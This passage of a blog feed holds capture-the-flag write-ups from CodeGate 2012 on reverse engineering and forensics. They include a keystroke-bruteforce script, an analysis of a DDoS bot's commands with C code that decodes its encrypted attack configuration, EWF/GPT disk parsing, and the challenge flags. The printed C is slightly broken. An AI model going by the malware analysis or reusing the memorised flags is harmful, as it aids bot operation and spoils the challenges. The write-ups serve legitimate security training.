<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/6.png"><img class="alignnone size-full wp-image-2388" title="6" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/6.png" alt="" width="365" height="481" /></a></p>
<p>When we finish analyzing code we found nothing interesting. There were just usual MD5 calculating, picture drawing and message box functional. We spent a lot of time before somebody found out that the answer is <strong>“Never_up_N3v<span style="color: #ff0000;">3</span>r_1n”</strong>, and that when we had checked this answer first time we just had made misspelling mistake. So, all what we had to do is decompile python script.<strong> Guys, is it binary 500, are you kidding?</strong> Anyway, the VM was very interesting to analyze and we had a fun time =)</p>
<p><strong>Key: Never_up_N3v3r_1n</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/codegate-2012-quals-binary-500/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CodeGate 2012 Quals – Binary 400</title>
		<link>http://leetmore.ctf.su/wp/codegate-2012-quals-binary-400/</link>
		<comments>http://leetmore.ctf.su/wp/codegate-2012-quals-binary-400/#comments</comments>
		<pubDate>Tue, 28 Feb 2012 04:11:55 +0000</pubDate>
		<dc:creator>zyx2145</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2373</guid>
		<description><![CDATA[The Rewolf in Kaspersky Down Summary: unpack file, analyze crashdumps, bruteforce The program is packed x86 PE file. It takes few minutes to unpack file. If you execute the file we see this window So, input doesn&#8217;t work. Also if you press any keystroke the application will crash. I think tt is really wired behavior for&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/codegate-2012-quals-binary-400/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>The Rewolf in Kaspersky</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/bin400/BE694AD967D819283A6C3FABF936F441.zip">Down</a></p></blockquote>
<p><strong>Summary: unpack file, analyze crashdumps, bruteforce</strong></p>
<p><span id="more-2373"></span></p>
<p>The program is packed x86 PE file. It takes few minutes to unpack file. If you execute the file we see this window</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/13.png"><img class="alignnone size-full wp-image-2374" title="1" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/13.png" alt="" width="269" height="76" /></a></p>
<p>So, input doesn&#8217;t work. Also if you press any keystroke the application will crash. I think tt is really wired behavior for program =)</p>
<p>Anyway, after hour which was spent to analyze reason of crashes, the idea came up to my mind. If every keystroke initiates crash then we can&#8217;t do anything. It should be at least one keystroke which doesn&#8217;t lead to crash. So, the easiest  way to find that keystroke is a bruteforce. I wrote small bruteforce autohotkey script with restart application and try every keystroke.</p>
<p>Surprisingly, it worked! After simplifying the script looks like</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">    Run C<span style="color: #339933;">:</span>\<span style="color: #339933;">!</span>work\codegate.<span style="color: #202020;">exe</span>
    WinWait Codegate <span style="color: #0000dd;">2012</span>
    WinActivate
&nbsp;
    Send <span style="color: #009900;">&#123;</span>BS<span style="color: #009900;">&#125;</span>  
    Send <span style="color: #009900;">&#123;</span>h<span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span>a<span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span>n<span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span>u<span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span>l<span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span><span style="color: #0000dd;">9</span><span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span>shift<span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span>k<span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span>e<span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span>i<span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span>vk60<span style="color: #009900;">&#125;</span>
    Send <span style="color: #009900;">&#123;</span>vk76<span style="color: #009900;">&#125;</span></pre></div></div>

<p>When this script finished to execute, the application looked like<br />
<a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/23.png"><img class="alignnone size-full wp-image-2375" title="2" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/23.png" alt="" width="269" height="74" /></a><br />
Press &#8220;Ok!&#8221; and bingo!<br />
<a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/32.png"><img class="alignnone size-full wp-image-2376" title="3" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/32.png" alt="" width="269" height="75" /></a><br />
<strong>Key: WonderFul_lollol_!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/codegate-2012-quals-binary-400/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CodeGate 2012 Quals – Binary 300</title>
		<link>http://leetmore.ctf.su/wp/codegate-2012-quals-binary-300/</link>
		<comments>http://leetmore.ctf.su/wp/codegate-2012-quals-binary-300/#comments</comments>
		<pubDate>Mon, 27 Feb 2012 06:20:11 +0000</pubDate>
		<dc:creator>zyx2145</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[reverse]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2363</guid>
		<description><![CDATA[There are malicious program associated with DDoS zombie. Calcurate the sum of port numbers used for the attack. And, how many times does zombie try to attack? Answer: sum(attack_ports) * attack_count (* : multiplication) Download : 72C4DAA981E17282B12E6226A1D60162 Summary: unpack, malware analyse There are two files: bin300.exe and dRcw.ziq. The zombie.exe is a malware. It looks&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/codegate-2012-quals-binary-300/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>There are malicious program associated with DDoS zombie.<br />
Calcurate the sum of port numbers used for the attack.<br />
And, how many times does zombie try to attack?</p>
<p>Answer: sum(attack_ports) * attack_count (* : multiplication)</p>
<p>Download : <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/bin300/72C4DAA981E17282B12E6226A1D60162">72C4DAA981E17282B12E6226A1D60162</a></p></blockquote>
<p><strong>Summary: unpack, malware analyse</strong></p>
<p><span id="more-2363"></span></p>
<p>There are two files: bin300.exe and dRcw.ziq.<br />
The zombie.exe is a malware. It looks like a bot which can execute several possible commands. The dRcw.ziq is a temporary file in which consists of encrypted bot’s command.<br />
The bot is packed, but that doesn’t take a lot of time to unpack it. The main bot’s functional is located at address 004011B0<br />
The bot has command:</p>
<ul>
<li>Execute file (4)</li>
</ul>
<p><span style="font-size: x-small;"><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/12.png"><img class="alignnone size-full wp-image-2364" title="1" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/12.png" alt="" width="344" height="141" /></a></span></p>
<ul>
<li>Get User ID (5)</li>
</ul>
<p><span style="font-size: x-small;"><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/22.png"><img class="alignnone size-full wp-image-2365" title="2" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/22.png" alt="" width="439" height="303" /></a></span></p>
<ul>
<li>Enumerate registry key (6)</li>
</ul>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/31.png"><img class="alignnone size-full wp-image-2366" title="3" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/31.png" alt="" width="548" height="144" /></a></p>
<ul>
<li>Save command in encrypted file (7) at address <strong>0x004014AD</strong></li>
<li>Ddos with settings from saved file (8) at address <strong>0x00401DE0</strong></li>
</ul>
<p>So, we reconstructed algorithm from ddos function <strong>0x00401DE0</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include</span>
<span style="color: #339933;">#include</span>
<span style="color: #339933;">#define __u64 unsigned long long</span>
<span style="color: #339933;">#define uint32_t unsigned long</span>
&nbsp;
<span style="color: #993333;">int</span> xor_func<span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> __int8 <span style="color: #339933;">*</span>a1<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> size<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> key<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #993333;">int</span> result<span style="color: #339933;">;</span>
  <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> i<span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> key <span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span> i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> size<span style="color: #339933;">;</span> <span style="color: #339933;">++</span>i <span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      a1<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span> <span style="color: #339933;">^=</span> key<span style="color: #339933;">;</span>
      result <span style="color: #339933;">=</span> i <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #b1b100;">return</span> result<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">#pragma pack (push, 1)</span>
<span style="color: #993333;">struct</span> param
<span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> xor_key<span style="color: #339933;">;</span>
    <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> time1<span style="color: #339933;">;</span>
    <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> time2<span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> type<span style="color: #339933;">;</span>
    WORD offset<span style="color: #339933;">;</span>
    DWORD host<span style="color: #339933;">;</span>
    DWORD port<span style="color: #339933;">;</span>
    WORD size<span style="color: #339933;">;</span>
    <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> aaa<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">#pragma pack (pop)</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span> argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
   FILE<span style="color: #339933;">*</span> hFile<span style="color: #339933;">;</span>
   param <span style="color: #339933;">*</span>lpParameter <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #339933;">*</span>pparam <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
   <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> sum <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
   hFile <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;dRcw.ziq&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;rb&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> hFile <span style="color: #009900;">&#41;</span>
   <span style="color: #009900;">&#123;</span>
      fseek<span style="color: #009900;">&#40;</span>hFile<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #993333;">int</span> Count <span style="color: #339933;">=</span> ftell<span style="color: #009900;">&#40;</span>hFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      rewind<span style="color: #009900;">&#40;</span>hFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span> Memory <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>malloc<span style="color: #009900;">&#40;</span>Count<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      fread<span style="color: #009900;">&#40;</span>Memory<span style="color: #339933;">,</span> 1u<span style="color: #339933;">,</span> Count<span style="color: #339933;">,</span> hFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      fclose<span style="color: #009900;">&#40;</span>hFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span> pmem <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> __int8 <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>Memory<span style="color: #339933;">;</span>
      lpParameter <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>param <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>Memory <span style="color: #339933;">+</span> <span style="color: #0000dd;">13</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span> <span style="color: #993333;">int</span> i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span>DWORD <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>pmem <span style="color: #339933;">+</span> <span style="color: #0000dd;">9</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #339933;">++</span>i <span style="color: #009900;">&#41;</span>       <span style="color: #009900;">&#123;</span>          pparam <span style="color: #339933;">=</span> lpParameter<span style="color: #339933;">;</span>          xor_func<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>lpParameter<span style="color: #339933;">-&gt;</span>time1<span style="color: #339933;">,</span> <span style="color: #0000dd;">21</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span>lpParameter<span style="color: #339933;">-&gt;</span>xor_key<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
         <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>lpParameter<span style="color: #339933;">-&gt;</span>time2 <span style="color: #339933;">-</span> lpParameter<span style="color: #339933;">-&gt;</span>time1<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
	    sum2 <span style="color: #339933;">+=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>lpParameter<span style="color: #339933;">-&gt;</span>time2 <span style="color: #339933;">-</span> lpParameter<span style="color: #339933;">-&gt;</span>time1<span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #0000dd;">10000</span> <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
         <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>%Host: %08x Port: %08x&quot;</span><span style="color: #339933;">,</span>lpParameter<span style="color: #339933;">-&gt;</span>host<span style="color: #339933;">,</span>lpParameter<span style="color: #339933;">-&gt;</span>port<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
         sum <span style="color: #339933;">+=</span> <span style="color: #009900;">&#40;</span>WORD<span style="color: #009900;">&#41;</span>lpParameter<span style="color: #339933;">-&gt;</span>port<span style="color: #339933;">;</span>
         xor_func<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>lpParameter<span style="color: #339933;">-&gt;</span>aaa<span style="color: #339933;">,</span> pparam<span style="color: #339933;">-&gt;</span>size <span style="color: #339933;">+</span> pparam<span style="color: #339933;">-&gt;</span>offset<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span>lpParameter<span style="color: #339933;">-&gt;</span>xor_key<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	 <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>%s&quot;</span><span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>lpParameter<span style="color: #339933;">+</span><span style="color: #0000dd;">25</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	 lpParameter <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>param <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>lpParameter <span style="color: #339933;">+</span> pparam<span style="color: #339933;">-&gt;</span>size <span style="color: #339933;">+</span> pparam<span style="color: #339933;">-&gt;</span>offset <span style="color: #339933;">+</span> <span style="color: #0000dd;">25</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #009900;">&#125;</span>
   <span style="color: #009900;">&#125;</span>
   <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Key: %d&quot;</span><span style="color: #339933;">,</span> sum<span style="color: #339933;">*</span><span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><strong>Key: 45136</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/codegate-2012-quals-binary-300/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CodeGate 2012 Quals Forensic 500 Write-up</title>
		<link>http://leetmore.ctf.su/wp/codegate-2012-quals-forensic-500-write-up/</link>
		<comments>http://leetmore.ctf.su/wp/codegate-2012-quals-forensic-500-write-up/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 18:25:53 +0000</pubDate>
		<dc:creator>vos</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[compression]]></category>
		<category><![CDATA[encase]]></category>
		<category><![CDATA[forensic]]></category>
		<category><![CDATA[gpt]]></category>
		<category><![CDATA[partition]]></category>
		<category><![CDATA[quals]]></category>
		<category><![CDATA[trid]]></category>
		<category><![CDATA[writeup]]></category>
		<category><![CDATA[xor]]></category>
		<category><![CDATA[zlib]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2339</guid>
		<description><![CDATA[This file is Forensic file format which is generally used. Check the information of imaged DISK, find the GUIDs of every partition. Answer: strupr((part1_GUID) XOR (part2_GUID) XOR &#8230;) Download : B704361ACF90390C17F6103DF4811E2D Forensic 500 features EWF format container with EFI GPT partition table. The container D:\ctf\cg2012\for500&#62;\TrID\trid.exe B704361ACF90390C17F6103DF4811E2D &#160; TrID/32 - File Identifier v2.10 - &#40;C&#41; 2003-11&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/codegate-2012-quals-forensic-500-write-up/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>This file is Forensic file format which is generally used.<br />
Check the information of imaged DISK, find the GUIDs of every partition. </p>
<p>Answer: strupr((part1_GUID) XOR (part2_GUID) XOR &#8230;)</p>
<p>Download : <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/B704361ACF90390C17F6103DF4811E2D">B704361ACF90390C17F6103DF4811E2D</a></p></blockquote>
<p>Forensic 500 features EWF format container with EFI GPT partition table.<br />
<span id="more-2339"></span></p>
<h3>The container</h3>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">D:\ctf\cg2012\for500<span style="color: #000000; font-weight: bold;">&gt;</span>\TrID\trid.exe B704361ACF90390C17F6103DF4811E2D
&nbsp;
TrID<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">32</span> - File Identifier v2.10 - <span style="color: #7a0874; font-weight: bold;">&#40;</span>C<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">2003</span>-<span style="color: #000000;">11</span> By M.Pontello
Definitions found:  <span style="color: #000000;">4604</span>
Analyzing...
&nbsp;
Collecting data from <span style="color: #c20cb9; font-weight: bold;">file</span>: B704361ACF90390C17F6103DF4811E2D
<span style="color: #000000;">100.0</span><span style="color: #000000; font-weight: bold;">%</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>.E01<span style="color: #7a0874; font-weight: bold;">&#41;</span> EnCase Forensic Drive Image <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3006</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>If it&#8217;s EnCase format, let&#8217;s open it with <strong>EnCase</strong>!<br />
&#8230;<br />
Aha, not so easy: EnCase spits out an error and doesn&#8217;t open it. We are in to parse it manually.</p>
<p>Download <a href="http://citylan.dl.sourceforge.net/project/libewf/documentation/EWF%20file%20format/Expert%20Witness%20Compression%20Format%20(EWF).pdf" target="_blank">EWF format specification</a>.</p>
<p>EWF file can be presented like this:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">struct</span> ewf_file <span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">char</span> ewf_magic<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">8</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;EVF<span style="color: #660099; font-weight: bold;">\x09</span><span style="color: #660099; font-weight: bold;">\x0D</span><span style="color: #660099; font-weight: bold;">\x0A</span><span style="color: #660099; font-weight: bold;">\xFF</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #993333;">uint8_t</span> start_of_fields <span style="color: #339933;">=</span> <span style="color: #208080;">0x01</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">uint16_t</span> seg_number<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* 0x0001 in the sample */</span>
    <span style="color: #993333;">uint16_t</span> end_of_fields <span style="color: #339933;">=</span> <span style="color: #208080;">0x0001</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #993333;">struct</span> ewf_section sections<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>EWF section description:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">struct</span> ewf_section <span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">char</span> section_name<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">16</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* first is &quot;header2&quot; in sample */</span>
    <span style="color: #993333;">uint64_t</span> next_section_offset<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* 0x0175 */</span>
    <span style="color: #993333;">uint64_t</span> section_size<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* 0x0168 */</span>
    <span style="color: #993333;">char</span> padding<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">40</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">uint32_t</span> section_adler32<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* 0xE211037B */</span>
    <span style="color: #993333;">char</span> section_data<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>The sample has 5 sections:</p>
<ul>
<li><b>header2</b>, starting at file offset <strong>0x0D</strong>, data size 0x011C<br />
Contains zlib compressed <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/for500/header2_decomp.txt" target="_blank">text data with container metadata</a>. Decompressable with PHP function <strong>gzuncompress</strong></li>
<li><b>header2</b> duplicate, starting at file offset <strong>0&#215;0175</strong></li>
<li><b>header</b>, file offset <strong>0x02DD</strong>, data size 0&#215;69<br />
Contains zlip-compressed <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/for500/header_decomp.txt" target="_blank">text metadata</a>, format is similar to <strong>header2</strong></li>
<li><b>volume</b>, file offset <strong>0&#215;0392</strong>, data size 0x041C<br />
Contains binary disk volume information, not interesting.</li>
<li><b>sectors</b>, file offset <strong>0x07FA</strong>, data size 0x0FF7BA<br />
Contains actual disk sectors, it&#8217;s our target. Sectors are grouped by 128 KB and compressed.</li>
</ul>
<p>Let&#8217;s grab several first kilobytes from <strong>sectors</strong> section and uncompress them.<br />
Download <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/for500/sectors_decomp.bin">raw sectors</a>.</p>
<p>GPT partition table lies at disk offset <strong>0&#215;200</strong>, so first 128 KB is enough for us.</p>
<h3>The partition table</h3>
<p>GPT headers <a href="http://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_table_header_.28LBA_1.29">specification on Wikipedia</a>.</p>
<p>GPT header structure:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">struct</span> gpt <span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">char</span> gpt_magic<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">8</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;EFI PART&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> revision<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #993333;">uint32_t</span> header_size <span style="color: #339933;">=</span> <span style="color: #208080;">0x5C</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">uint32_t</span> header_crc32<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* 0x50448816 in the sample */</span>
&nbsp;
    <span style="color: #993333;">char</span> padding<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #993333;">uint64_t</span> current_lba <span style="color: #339933;">=</span> <span style="color: #208080;">0x01</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">uint64_t</span> backup_lba<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* 0x0EE7C2AF in sample */</span>
    <span style="color: #993333;">uint64_t</span> first_data_lba<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* 0x22 */</span>
    <span style="color: #993333;">uint64_t</span> last_data_lba<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* 0x0EE7C28E */</span>
    GUID disk_guid<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* {33B483E2-0856-4E73-A8C9-96BC37648169} */</span>
&nbsp;
    <span style="color: #993333;">uint64_t</span> part_lba <span style="color: #339933;">=</span> <span style="color: #208080;">0x02</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">uint32_t</span> part_number<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* 0x80 in sample (?!?) */</span>
    <span style="color: #993333;">uint32_t</span> part_size <span style="color: #339933;">=</span> <span style="color: #208080;">0x80</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">uint32_t</span> part_crc32<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* 0xE41AB9FC */</span>
&nbsp;
